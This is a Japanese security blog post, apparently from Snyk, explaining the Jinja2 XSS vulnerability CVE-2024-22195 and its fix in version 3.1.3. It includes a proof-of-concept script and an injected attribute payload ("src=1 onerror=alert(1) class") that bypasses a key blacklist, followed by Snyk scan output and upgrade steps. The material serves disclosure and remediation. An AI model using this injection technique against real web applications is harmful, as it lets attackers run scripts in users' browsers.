Skip to main content

Jinja2のXSS脆弱性(CVE-2024-22195)の理解と対策

著者
feature open source

2024年1月18日

0 分で読めます

2024年1月11日、広く利用されているPythonテンプレートライブラリJinja2で重大なセキュリティ脆弱性が公表されました。CVE-2024-22195として特定されたこのクロスサイトスクリプティング(XSS)脆弱性は、多数のプロジェクトに影響を及ぼすことから懸念を呼んでいます。Jinja2は週あたり3,300万回以上ダウンロードされ、GitHubスターは約1万件、依存するプロジェクトは9万件以上に上ります。

この脆弱性はバージョン3.1.3より前のすべてのバージョンに影響します。修正済みのバージョン3.1.3だけが安全な選択肢です。特に、最もダウンロード数の多いバージョン3.1.2は、依然として脆弱で広く使われています。

バージョン別の週間ダウンロード数を示す人気度ダッシュボード。バージョン3.1.2はピーク時に1,742万回ダウンロードされています。

プロジェクトで脆弱なバージョンのJinja2が使われているかどうかは、どうすれば確認できますか?

プロジェクトのrequirements.txtファイルを確認するか、プロジェクトの仮想環境でpip list | grep Jinja2を実行すると、使用しているJinja2のバージョンを確認できます。

Python開発におけるJinja2の利用について

Jinja2が広く使われているのは、Pythonに似た構文で動的なHTMLテンプレートを作成できるためです。テンプレートの継承、信頼できない入力によるXSSを防ぐHTMLの自動エスケープ、国際化への対応などの機能を備えています。

通常はPyPIからpip install Jinja2コマンドを使ってインストールします。プロジェクトでの使用例は次のとおりです。

{% extends "base.html" %}
{% block title %}Members{% endblock %}
{% block content %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

XSS脆弱性の詳細

CVE-2024-22195は、ユーザー入力に基づいてスペースを含むキーが使われた場合に、Jinja2のxmlattrフィルターで発生します。この欠陥により、攻撃者はテンプレートに任意のHTML属性を挿入して自動エスケープ機能を回避し、ユーザーのブラウザーで信頼できないスクリプトを実行できる可能性があります。

以下は、Jinja2のクロスサイトスクリプティング脆弱性を再現する完全な概念実証です。この脆弱性を報告したSnykのセキュリティリサーチチームのCalum Huttonが提供しています。

import sys

from jinja2 import Template

tmpl = Template(u'''\
<!DOCTYPE html>
<html>
  <head>
    <title>{{ title|escape }}</title>
  </head>
  <body>
    <img{{ dict_var|xmlattr }}>
  </body>
</html>
''')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'% python {sys.argv[0]} <attribute key>')
        sys.exit(1)
    key = sys.argv[1]
    # Could be used to bypass blacklist validation, i.e with the below input we can overwrite
    # the src attribute and add an onerror handler:
    # % python j2_xmlattr.py "src=1 onerror=alert(1) class"
    if key.startswith('on') or key in ('src',):
        print(f'Invalid key: {key}')
        sys.exit(2)
    data = {
        key: 'xxx',
        'src': 'https://jinja.palletsprojects.com/en/3.0.x/_static/jinja-logo-sidebar.png',
        'alt': 'My image'
    }
    print(tmpl.render(
        title='Jinja2 xmlattr PoC',
        dict_var=data
    ))

Jinja2 CVE-2024-22195のXSS脆弱性を再現する

新しいPython 3仮想環境を作成します。

  1. python3 -m venv myenv 

  2. source myenv/bin/activate

注:複数のPython開発環境の管理に慣れていない方は、Python仮想環境を使いこなす:venv、Docker、コードの保護に関する完全ガイドをぜひご覧ください。

次に、パッケージマネージャーのpipが使用するPython依存関係ファイルrequirements.txtを作成し、PyPIレジストリから一般的なライブラリを追加します。

Jinja2==3.1.2
Flask
Werkzeug
Requests
SQLAlchemy
Flask-WTF
Pillow
Flask-SQLAlchemy
Flask-Migrate

ここでSnykを使ってプロジェクトをスキャンし、Pythonの依存関係に脆弱性がないか確認できます。macOSをお使いの場合は、最も手早く始められるbrewからSnykをインストールしてください。

brew tap snyk/tap
brew install snyk

注:WindowsやLinuxなど、ほかのオペレーティングシステムについては、Snyk User Docsのインストール手順をご覧ください。

Snykへの認証が必要です。snyk authを実行し、ブラウザーでログインする手順に従ってください。Snyk CLIがAPI認証情報を自動的に取得します。

これでPythonプロジェクトをスキャンできます。次のコマンドを実行してください。

snyk test

Snykの検出結果が表示されます。

Testing /private/tmp/py1...

Tested 23 dependencies for known issues, found 1 issue, 6 vulnerable paths.

Issues to fix by upgrading dependencies:

  Upgrade jinja2@3.1.2 to jinja2@3.1.3 to fix
  ✗ Cross-site Scripting (XSS) (new) [Medium Severity][https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717] in jinja2@3.1.2
    introduced by jinja2@3.1.2 and 5 other path(s)

Organization:      liran.tal
Package manager:   pip
Target file:       requirements.txt
Project name:      py1
Open source:       no
Project path:      /private/tmp/py1
Licenses:          enabled

Tip: Try `snyk fix` to address these issues.`snyk fix` is a new CLI command in that aims to automatically apply the recommended updates for supported ecosystems.
See documentation on how to enable this beta feature: https://docs.snyk.io/snyk-cli/fix-vulnerabilities-from-the-cli/automatic-remediation-with-snyk-fix#enabling-snyk-fix

Snykは、プロジェクトで使用されている脆弱なバージョンのJinja2(バージョン3.1.2)を検出し、CLIで修正方法を提案しました。

SnykのIDE拡張機能を使えば、自分のPythonコードやコンテナ化されたPythonアプリケーションもスキャンできます。PyPIから導入したサードパーティー依存関係のスキャンに加えて、こうした用途にも活用できることをぜひ知っておいてください。

Jinja2のXSS脆弱性は簡単に悪用できますか?

この脆弱性の悪用の難易度は、アプリケーションやJinja2の実装方法によって異なります。ただし、XSS脆弱性の性質を踏まえ、優先度を高く設定して対処することをおすすめします。

Jinja2の脆弱性への対処と継続的なセキュリティ監視

この脆弱性に対処するため、開発者は速やかにJinja2をバージョン3.1.3にアップグレードすることが推奨されます。

さらに、Snykのようなツールは、継続的な脆弱性監視に欠かせません。SnykはIDE拡張機能で脆弱なコードやライブラリを検出できるだけでなく、この脆弱な依存関係を含むDockerコンテナ化アプリケーションのスキャンにも役立ちます。

Jinja2のXSS脆弱性からプロジェクトを保護するにはどうすればよいですか?

Jinja2をバージョン3.1.3以降に更新してください。requirements.txtファイルをJinja2>=3.1.3に変更し、pip install -U -r requirements.txtを実行します。

開発者向けセキュリティリソースと今後の展望

Jinja2でのCVE-2024-22195の発見は、依存関係を最新の状態に保つこと、そしてSnykのようなツールで継続的にセキュリティを監視することの重要性を改めて示しています。情報を常に把握し、先手を打つことで、開発者はこうした脆弱性からプロジェクトを守ることができます。

Snyk LearnでPythonのXSSについて学ぶ:PythonのXSS

Pythonセキュリティのベストプラクティス・チートシート:Pythonセキュリティのベストプラクティス

Python仮想環境を使いこなす:Python仮想環境

DockerでPythonアプリケーションをコンテナ化するためのベストプラクティス:DockerでPythonをコンテナ化

Jinja2のユーザーが実践できる、ほかに推奨されるセキュリティ対策はありますか?

Jinja2を最新の状態に保つことに加えて、すべてのユーザー入力を検証・サニタイズする、コンテンツセキュリティポリシーを導入する、定期的にセキュリティ監査を実施するといった、一般的なセキュリティのベストプラクティスに従いましょう。